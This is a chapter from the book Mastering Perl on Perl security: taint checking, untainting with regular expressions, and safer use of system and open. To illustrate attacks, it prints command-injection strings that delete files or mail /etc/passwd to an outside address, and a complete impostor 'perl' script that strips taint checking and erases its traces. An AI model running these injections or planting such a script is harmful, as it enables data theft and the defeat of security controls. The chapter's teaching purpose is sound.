I can’t control how people run my programs or what input they give it, and given the chance, they’ll do everything I don’t expect. This can be a problem when my program tries to pass on that input to other programs. When I let just anyone run my programs, like I do with CGI programs, I have to be especially careful. Perl comes with features to help me protect myself against that, but they only work if I use them, and use them wisely.
If I don’t pay attention to the data I pass to functions that interact with the operating system, I can get myself in trouble. Take this innocuous-looking line of code that opens a file:
open my($fh), $file or die "Could not open [$file]: $!";
That looks harmless, so where’s the problem? As with most problems,
the harm comes in a combination of things. What is in $file
and from where did its value come? In
real-life code reviews, I’ve seen people do such as using elements of
@ARGV
or an environment variable,
neither of which I can control as the programmer:
my $file = $ARGV[0]; # OR === my $file = $ENV{FOO_CONFIG}
How can that cause problems? Look at the Perl documentation for
open
. Have you ever read all of the
400-plus lines of that entry in perlfunc, or
its own manual, perlopentut? There are so
many ways to open resources in Perl that it has its own documentation
page. Several of those ways involve opening a pipe to another
program:
open my($fh), "wc -l *.pod |"; open my($fh), "| mail joe@example.com";
To misuse these programs, I just need to get the right thing in
$file
so I execute a pipe open instead
of a file open. That’s not so hard:
$ perl program.pl "| mail joe@example.com" $ FOO_CONFIG="rm -rf / |" perl program
This can be especially nasty if I can get another user to run this for me. Any little chink in the armor contributes to the overall insecurity. Given enough pieces to put together, someone can eventually get to the point where she can compromise the system.
There are other things I can do to prevent this particular problem
and I’ll discuss those at the end of this chapter, but in general, when I
get input, I want to ensure that it’s what I expect before I do something
with it. With careful programming, I won’t have to know about everything
open
can do. It’s not going to be that
much more work than the careless method, and it will be one less thing I
have to worry about.
Configuration is all about reaching outside the program to get data. When users choose the input, they can choose what the program does. This is more important when I write programs for other people to use. I can trust myself to give my own program the right data (usually), but other users, even those with the purest of intentions, might get it wrong.
Under taint checking, Perl doesn’t let me use unchecked data from outside the source code to affect things outside the program. Perl will stop my program with an error. Before I show more, though, understand that taint checking does not prevent bad things from happening. It merely helps me track down areas where some bad things might happen and tells me to fix those.
When I turn on taint checking with the -T
switch, Perl marks
any data that come from outside the program as tainted, or insecure, and
Perl won’t let me use those data to interact with anything outside of the
program. This way, I can avoid several security problems that come with
communicating with other processes. This is all or nothing. Once I turn it
on, it applies to the whole program and all of the data.
Perl sets up taint checking at compile time, and it affects the
entire program for the entirety of its run. Perl has to see this option
very early to allow it to work. I can put it in the shebang line in this
toy program that uses the external command echo
to print a message:
#!/usr/bin/perl -T system qq|echo "Args are @ARGV"|;
Taint checking works just fine as long as I run the command
directly. The operating system uses the shebang line to figure out which
interpreter to run and which switches to pass to it. Perl catches the
insecurity of the PATH
. By using only a
program name, system
uses the PATH setting. Users can set that to anything they like
before they run my program, and I’ve allowed outside data to influence the
working of the program. When I run the program, Perl realizes that the
PATH
string is tamper-able, so it stops
my program and reminds me about its insecurity:
$ ./tainted-args.pl foo Insecure $ENV{PATH} while running with -T switch at ./tainted-args.pl line 3.
If I use the perl
command
directly, it doesn’t get the switches on the shebang line in time to turn
on taint checking. Since taint checking applies to the entire program,
perl
needs to know about it very early
to make it work. When I run the program, I get a fatal error. The exact
message depends on your version of perl
, and I show two of them here. Earlier
versions of perl
show the top, terse
message, and later perl
s show the
bottom message, which is a bit more informative:
$ perl tainted-args.pl foo Too late for -T at peek-taint.pl line 1. "-T" is on the #! line, it must also be used on the command line at tainted-args.pl line 1.
The latest version of that error message tells me exactly what to
do. If I had -T
on the shebang line, I
also need to use it on the command line when I use perl
explicitly. This way, a user doesn’t get
around taint checking by using a different perl binary:
$ perl -T tainted-args.pl foo
As a minor security note, while I’m being paranoid (and if you
aren’t paranoid when you think about security, you’re probably doing it
wrong), there’s nothing to stop someone from modifying the
perl
interpreter sources to do nothing with -T
, or trying to rewrite my source to remove the
-T
switch. Don’t feel safe simply
because you’ve turned on taint checking. Remember, it’s a development
tool, not a guarantee.
Here’s a program that pretends to be the real perl
, exploiting the same PATH
insecurity the real Perl catches. If I can
trick you into thinking this program is perl
, probably
by putting it somewhere close to the front of your path, taint checking
does you no good. It scrubs the argument list to remove -T
, and then scrubs the shebang line to do the
same thing. It saves the new program, and then runs it with a real
perl
which it gets from PATH
(excluding itself, of course). Taint checking is a tool, not a cure. It
tells me where I need to do some work. Have I said that enough yet?
#!/usr/bin/perl # perl-untaint (rename as just 'perl') use File::Basename; # get rid of -T on command line my @args = grep { ! /-T/ } @ARGV; # determine program name. Usually that's the first thing # after the switches (or the '--' which ends switches). This # won't work if the last switch takes an argument, but handling # that is just a matter of work. my( $double ) = grep { $args[$_] eq '--' } 0 .. $#args; my @single = grep { $args[$_] =~ m/^-/ } 0 .. $#args; my $program_index = do { if( $double and @single ) { 0 } elsif( $double ) { $double + 1 } elsif( @single ) { $single[-1] + 1 } }; my $program = splice @args, $program_index, 1, undef; unless( -e $program ) { warn qq|Can't open perl program "$program": No such file or directory\n|; exit; } # save the program to another location (current dir probably works) my $modified_program = basename( $program ) . ".evil"; splice @args, $program_index, 1, $modified_program; open FILE, $program; open TMP, "> $modified_program" or exit; # quiet! my $shebang = <FILE>; $shebang =~ s/-T//; print TMP $shebang, <FILE>; # find out who I am (the first thing in the path) and take out that dir # this is especially useful if . is in the path. my $my_dir = dirname( `which perl` ); $ENV{PATH} = join ":", grep { $_ ne $my_dir } split /:/, $ENV{PATH}; # find the real perl now that I've reset the path chomp( my $Real_perl = `which perl` ); # run the program with the right perl but without taint checking system("$Real_perl @args"); # clean up. We were never here. unlink $modified_program;
With the -T
switch, taint violations are fatal errors, and that’s generally a
good thing. However, if I’m handed a program developed without careful
attention paid to taint, I still might want to run the program. It’s not
my fault it’s not taint safe yet, so Perl has a gentler version of taint
checking.
The -t
switch (that’s the
little brother to -T
) does the same
thing as normal taint checking but merely issues warnings when it
encounters a problem. This is only intended as a development feature so
I can check for problems before I give the public the chance to try its
data on the program:
$ perl -t print_args.pl foo bar Insecure $ENV{PATH} while running with -t switch at print_args.pl line 3. Insecure dependency in system while running with -t switch at print_args.pl line 3.
Similarly, the -U
switch
lets Perl perform otherwise unsafe operations, effectively
turning off taint checking. Perhaps I’ve added -T
to a program that is not taint safe yet,
but I’m working on it and want to see it run even though I know there is
a taint violation:
$ perl -TU print_args.pl foo bar Args are foo bar
I still have to use -T
on the
command line, though, or I get the same “too late” message I got
previously and the program does not run:
$ perl -U print_args.pl foo bar Too late for "-T" option at print_args.pl line 1.
If I also turn on warnings (as I always do, right?), I’ll get the
taint warnings just like I did with -t
:
$ perl -TU -w print_args.pl foo bar Insecure $ENV{PATH} while running with -T switch at print_args.pl line 3. Insecure dependency in system while running with -T switch at print_args.pl line 3. Args are foo bar
Inside the program, I can check the actual situation by looking at
the value of the Perl special variable ${^TAINT}
. It’s true if I have enabled any of
the taint modes (including with -U
),
and false otherwise. For normal, fatal-error taint checking it’s
1
and for the reduced effect,
warnings-only taint checking it’s -1
. Don’t try to
modify it; it’s a read-only value. Remember, it’s either all or nothing
with taint checking.
Sometimes Perl turns on taint checking for me. When Perl sees that the real and effective users or groups are different (so, I’m running the program as a different user or group than I’m logged in as), Perl realizes that I have the opportunity to gain more system privileges than I’m supposed to have and turns on taint checking automatically. This way, when other users have to use my program to interact with system resources, they don’t get the chance to do something they shouldn’t by carefully selecting the input. That doesn’t mean the program is secure, it’s only as secure as using taint checking wisely can make it.
Since I have to enable taint checking early in Perl’s run, mod_perl needs to
know about tainting before it runs a program. In my Apache server
configuration, I use the PerlTaintCheck
directive for mod_perl
1.x:
PerlTaintCheck On
In mod_perl 2, I include -T
in
the PerlSwitches
directive:
PerlSwitches -T
I can’t use this in .htaccess
files or other, later configurations. I have to turn it on for all of
mod_perl, meaning that every program run through mod_perl, including
apparently normal CGI programs run with ModPerl::PerlRun
or
ModPerl::Registry
,[8]uses it. This might annoy users for a bit, but when they
get used to the better programming techniques, they’ll find something
else to gripe about.
Data are either tainted or not. There’s no such thing as part- or half-taintedness. Perl only marks scalars (data and variables) as tainted, so although an array or hash may hold tainted data, that doesn’t taint the entire collection. Perl never taints hash keys, which aren’t full scalars with all of the scalar overhead. Remember that because it comes up later.
I can check for taintedness in a couple of ways. The easiest is
the tainted
function from Scalar::Util
:
#!/usr/bin/perl -T use Scalar::Util qw(tainted); # this one won't work print "ARGV is tainted\n" if tainted( @ARGV ); # this one will work print "Argument [$ARGV[0]] is tainted\n" if tainted( $ARGV[0] );
When I specify arguments on the command line, they come from
outside the program so Perl taints them. The @ARGV
array is fine, but its contents,
$ARGV[0]
, aren’t:
$ perl tainted-args.pl Argument [foo] is tainted
Any subexpression that involves tainted data inherits taintedness.
Tainted data are viral. The next program uses File::Spec
to create a path in
which the first part is my home directory. I want to open that file,
read it line by line, and print those lines to standard output. That
should be simple, right?
#!/usr/bin/perl -T use strict; use warnings; use File::Spec; use Scalar::Util qw(tainted); my $path = File::Spec->catfile( $ENV{HOME}, "data.txt" ); print "Result [$path] is tainted\n" if tainted( $path ); open my($fh), $path or die "Could not open $path"; print while( <$fh> );
The problem is the environment. All of the values in %ENV
come from outside the program, so Perl
marks them as tainted. Any value I create based on a tainted value
becomes tainted as well. That’s a good thing, since $ENV{HOME}
can be whatever the user wants,
including something malicious, such as this line that starts off the
HOME
directory with a |
and then runs a command. This variety of
attack has actually worked to grab the password files on big web sites
that do a similar thing in CGI programs. Even though I don’t get the
passwords, once I know the names of the users on the system, I’m ready
to spam away:
$ HOME="| cat /../../../etc/passwd;" ./sub*
Under taint checking, I get an error because Perl catches
the |
character I tried to
sneak into the filename:
Insecure dependency in piped open while running with -T switch at ./subexpression.pl↲ line 12.
When I turn on taint checking, Perl does more than just mark data as
tainted. It ignores some other information because it can be dangerous.
Taint checking causes Perl to ignore PERL5LIB
and PERLLIB
. A user can set either of those so a
program will pull in any code he wants. Instead of finding the
File::Spec
from the Perl standard distribution, my
program might find a different one if an impostor File/Spec.pm shows up first during Perl’s
search for the file. When I run my program, Perl finds some
File::Spec
, and when it tries one of its methods,
something different might happen.
To get around an ignored PERL5LIB
, I can use the lib
module or the
-I
switch, which is fine with taint
checking (although it doesn’t mean I’m safe):
$ perl -Mlib=/Users/brian/lib/perl5 program.pl $ perl -I/Users/brian/lib/perl5 program.pl
I can even use PERL5LIB
on
the command line. I’m not endorsing this, but it’s a way
people can get around your otherwise good intentions:
$ perl -I$PERL5LIB program.pl
Also, Perl treats the PATH
as
dangerous. Otherwise, I could use the program running under special
privileges to write to places where I shouldn’t. Even then, I can’t
trust the PATH
for the same reason
that I can’t trust PERL5LIB
. I can’t
tell which program I’m really running if I don’t know where it is. In
this example, I use system
to run the
cat
command. I don’t know which
executable it actually is because I rely on the path to find it for
me:
#!/usr/bin/perl -T system "cat /Users/brian/.bashrc"
Perl’s taint checking catches the problem:
Insecure $ENV{PATH} while running with -T switch at ./cat.pl line 3.
Using the full path to cat
in
the system
command doesn’t help
either. Rather than figuring out when the PATH
should apply and when it shouldn’t, it’s
always insecure:
#!/usr/bin/perl -T delete $ENV{PATH}; system "/bin/cat /Users/brian/.bashrc"
In a similar way, the other environment variables such as IFS
, CDPATH
, ENV
, or BASH_ENV
can cause problems. Their values can
have hidden influence on things I try to do within my program.
The only approved way to untaint data is to extract the good parts of it using the regular expression memory matches. By design, Perl does not taint the parts of a string that I capture in regular expression memory, even if Perl tainted the source string. Perl trusts me to write a safe regular expression. Again, it’s up to me to make it safe.
In this line of code, I untaint the first element of @ARGV
to extract a filename. I use a character
class to specify exactly what I want. In this case, I only want letters,
digits, underscores, dots, and hyphens. I don’t want anything that might
be a directory separator:
my( $file ) = $ARGV[0] =~ m/^([A-Z0-9_.-]+)$/ig;
Notice that I constrain the regular expression so it has to match the entire string, too. That is, if it contains any characters that I didn’t include in the character class, the match fails. I’m not going to try to change invalid data into good data. You’ll have to think about how you want to handle that for each situation.
It’s really easy to use this incorrectly and some people annoyed with the strictness of taint checking try to untaint data without really untainting it. I can remove the taint of a variable with a trivial regular expression that matches everything:
my( $file ) = $ARGV[0] =~ m/(.*)/i;
If I want to do something like this, I might as well not even use taint checking. You might look out for this if you require your programmers to use taint checking and they want to avoid the extra work to do it right. I’ve caught this sort of statement in many code reviews, and it always surprises me that people get away with it.
I might be more diligent and still wrong, though. The character
class shortcuts, \w
and \W
(and the POSIX version [:alpha:]
), actually take their definitions from
the locales. As a clever cracker, I could manipulate the locale setting in
such a way to let through the dangerous characters I want to use. Instead
of the implicit range of characters from the shortcut, I should explicitly
state which characters I want. I can’t be too careful. It’s easier to list
the allowed characters and add ones that I miss than to list the forbidden
characters, since it also excludes problem characters I don’t know about
yet.
If I turn off locale
support, this isn’t a problem and
I can use the character class shortcuts again. Perl uses the internal
locale instead of the user setting (from LC_CTYPE
for regular expressions). After turning
off locale
, \w
is
just ASCII letters, digits, and the underscore:
{ no locale; my( $file ) = $ARGV[0] =~ m/^([\w.-]+)$/; }
Mark Jason Dominus noted in one of his Perl classes that there are two approaches to constructing regular expressions for untainting data, which he labels as the Prussian Stance and the American Stance.[9]In the Prussian Stance, I explicitly list only the characters I allow. I know all of them are safe:
# Prussian = safer my( $file ) = $ARGV[0] =~ m/([a-z0-9_.-]+)/i;
The American Stance is less reliable. Doing it that way, I list the characters I don’t allow in a negated character class. If I forget one, I still might have a problem. Unlike the Prussian Stance, where I only allow safe input, this stance relies on me knowing every character that can be bad. How do I know I know them all?
# American = uncertainty my( $file ) = $ARGV[0] =~ m/([^$%;|]+)/i;
I prefer something much stricter where I don’t extract parts of the
input. If some of it isn’t safe, none of it is. I anchor the character
class of safe characters to the beginning and end of the string. I don’t
use the $
anchor since it allows a
trailing newline:
# Prussian = safer my( $file ) = $ARGV[0] =~ m/^([a-z0-9_.-]+)\z/i;
In some cases, I don’t want regular expressions to untaint data.
Even though I matched the data the way I wanted, I might not intend any of
that data to make its way out of the program. I can turn off the
untainting features of regular expression memory with the re
pragma. One way to do this is to turn off a
regular expression’s untainting feature:
{ use re 'taint'; # $file still tainted my( $file ) = $ARGV[0] =~ m/^([\w.-]+)$/; }
A more useful and more secure strategy is to turn off the regular expression tainting globally and only turn it back on when I actually want to use it. This can be safer because I only untaint data when I mean to:
use re 'taint'; { no re 'taint'; # $file not tainted my( $file ) = $ARGV[0] =~ m/^([\w.-]+)$/; }
The IO::Handle
module, which is the basis for the line input operator behavior
in many cases, can untaint data for me. Since input from a file is also
external data, it is normally tainted under taint checking:
use Scalar::Util qw(tainted); open my($fh), $ARGV[0] or die "Could not open myself! $!"; my $line = <$fh>; print "Line is tainted!\n" if tainted( $line );
I can tell IO::Handle
to trust the data from
the file. As I’ve said many times before, this doesn’t mean I’m safe. It
just means that Perl doesn’t taint the data, not that it’s safe. I have
to explicitly use the IO::Handle
module to make this
work, though:
use IO::Handle; use Scalar::Util qw(tainted); open my($fh), $ARGV[0] or die "Could not open myself! $!"; $fh->untaint; my $line = <$fh>; print "Line is not tainted!\n" unless tainted( $line );
This can be a dangerous operation since I’m getting around taint
checking in the same way my /(.*)/
regular expression did.
You shouldn’t do this, but as a Perl master (or quiz show contestant) you can tell people they’re wrong when they try to tell you that the only way to untaint data is with a regular expression. You shouldn’t do what I’m about to show you, but it’s something you should know about in case someone tries to do it near you.
Hash keys aren’t full scalars, so they don’t carry all the baggage and accounting that allows Perl to taint data. If I pass the data through a filter that uses the data as hash keys and then returns the keys, the data are no longer tainted, no matter their source or what they contain:
#!/usr/bin/perl -T use Scalar::Util qw(tainted); print "The first argument is tainted\n" if tainted( $ARGV[0] ); @ARGV = keys %{ { map { $_, 1 } @ARGV } }; print "The first argument isn't tainted anymore\n" unless tainted( $ARGV[0] );
Don’t do this. I’d like to put that first sentence in all caps, but I know the editors aren’t going to let me do that, so I’ll just say it again: don’t do this. Save this knowledge for a Perl quiz show, and maybe tear it out of this book before you pass it on to a coworker.
Another exception to the usual rule of tainting involves the ternary operator. Earlier I said that a tainted value also taints its expression. That doesn’t quite work for the ternary operator when the tainted value is only in the condition that decides which value I get. As long as neither of the possible values is tainted, the result isn’t tainted either:
my $value = $tainted_scalar ? "Fred" : "Barney";
This doesn’t taint $value
because the ternary operator is really just shorthand for a longer
if-else
block in which the tainted
data aren’t in the expressions connected to $value
. The tainted data only show up in the
conditional:
my $value = do { if( $tainted_scalar ) { "Fred" } else { "Barney" } };
If I use either system
or exec
with a single argument, Perl looks in the
argument for shell metacharacters. If it finds metacharacters, Perl passes the argument to the underlying
shell for interpolation. Knowing this, I could construct a shell command
that did something the program does not intend. Perhaps I have a system
call that seems harmless, like the call
to echo
:
system( "/bin/echo $message" );
As a user of the program, I might try to craft the input so $message
does more than provide an argument to
echo
. This string also terminates the
command by using a semicolon, then starts a mail
command that uses
input redirection:
'Hello World!'; mail joe@example.com < /etc/passwd
Taint checking can catch this, but it’s still up to me to untaint it
correctly. As I’ve shown, I can’t rely on taint checking to be safe. I can
use system
and exec
in the list form. In that case, Perl uses
the first argument as the program name and calls execvp
directly, bypassing the shell and any
interpolation or translation it might do:
system "/bin/echo", $message;
Using an array with system
does
not automatically trigger its list processing mode. If the array has only
one element, system
only sees one
argument. If system
sees any shell
metacharacters in that single scalar element, it passes the whole command
to the shell, special characters and all:
@args = ( "/bin/echo $message" ); system @args; # single argument form still, might go to shell @args = ( "/bin/echo", $message ); system @args; # list form, which is fine.
To get around this special case, I can use the indirect object
notation with either of these functions. Perl uses the indirect
object as the name of the program to call and interprets the
arguments just as it would in list form, even if it only has one element.
Although this example looks like it might include $arg[0]
twice, it really doesn’t. It’s a special
indirection object notation that turns on the list processing mode and
assumes that the first argument is the command name:[10]
system { $args[0] } @args;
In this form, if @args
is just
the single argument ( "/bin/echo 'Hello'"
)
, system
assumes that the
name of the command is the whole string. Of course, it fails because there
is no command /bin/echo 'Hello'
.
Somewhere in my program I need to go back and ensure those pieces show up
as separate elements in @args
.
To be even safer, I might want to keep a hash of allowed programs
for system
. If the program is not in
the hash, I don’t execute the external command:
if( exists $Allowed_programs{ $args[0] } ) { system { $args[0] } @args; } else { warn qq|"$args[0]" is not an allowed program|; }
Since Perl 5.6, the open
built-in has a three (or more)-argument form that separates the file mode from the filename. My
previous open
s were problems because
the filename string also told open
what to do with the file. If I could infect the filename, I could trick
open
into doing things the programmer
didn’t intend. In the three-argument form, whatever characters show up
in $file
are the characters in the
filename, even if those characters are |
, >
, and so on:
#!/usr/bin/perl -T my( $file ) = $ARGV[0] =~ m/([A-Z0-9_.-]+)/gi; open my( $fh ), ">>", $file or die "Could not open for append: $file";
This doesn’t get around taint checking, but it is safer. You’ll
find a more detailed discussion of this form of open
in Chapter 8 of Intermediate
Perl, as well as perlopentut.
The sysopen
function gives me even more control over file access. It has a
three argument form that keeps the access mode separate from the
filename and has the added benefit of exotic modes that I can configure
minutely. For instance, the append mode in open
creates the file if it doesn’t already
exist. That’s two separate flags in sysopen
: one for appending and one for
creating:
#!/usr/bin/perl -T use Fcntl (:DEFAULT); my( $file ) = $ARGV[0] =~ m/([A-Z0-9_.-]+)/gi; sysopen( my( $fh ), $file, O_APPEND|O_CREAT ) or die "Could not open file: $!\n";
Since these are separate flags, I can use them apart from each
other. If I don’t want to create new files, I leave off the O_CREAT
. If the file doesn’t exist, Perl won’t
create it, so no one can trick my program into making a file he might
need for a different exploit:
#!/usr/bin/perl use Fcntl qw(:DEFAULT); my( $file ) = $ARGV[0] =~ m/([A-Z0-9_.-]+)/gi; sysopen( my( $fh ), $file, O_APPEND ) or die "Could not append to file: $!";
Since Perl automatically turns on taint checking when I run the
program as a different user than my real user, I should limit the scope
of the special privileges. I might do this by forking a process to
handle the part of the program that requires greater privileges, or give
up the special privileges when I don’t need them anymore. I can set the
real and effective users to the real user so I don’t have more
privileges than I need. I can do this with the POSIX
module:
use POSIX qw(setuid); setuid( $<, $< );
There are other ways to do this, but they are beyond the scope of this chapter (and even this book, really), and they depend on your particular operating system, and you’d do the same thing with other languages, too. This isn’t a problem specific to Perl, so you handle it in the same way as you do in any other language: compartmentalize or isolate the special access.
Perl knows that injudiciously passing around data can cause problems and has features to give me, the programmer, ways to handle that. Taint checking is a tool that helps me find parts of the program that try to pass external data to resources outside of the program. Perl intends for me to scrutinize these data and turn them into something I can trust before I use them. Checking and scrubbing the data isn’t the only answer, and I need to program defensively using the other security features Perl offers. Even then, taint checking doesn’t ensure I’m completely safe and I still need to carefully consider the entire security environment just as I would with any other programming language.
Start with the perlsec documentation, which gives an overview of secure programming techniques for Perl.
The perltaint documentation gives the full
details on taint checking. The entries in perlfunc
for system
and exec
talk about their security features.
The perlfunc documentation explains everything
the open
built-in can do, and there is
even more in perlopentut.
Although targeted toward web applications, the Open Web Application Security Project (OWASP, http://www.owasp.org) has plenty of good advice for all types of applications.
Even if you don’t want to read warnings from the Computer Emergency
Response Team (CERT, http://www.cert.org) or
SecurityFocus (http://www.securityfocus.com/),
reading some of their advisories about perl
interpreters or programs is often
instructive.
Get Mastering Perl now with the O’Reilly learning platform.
O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.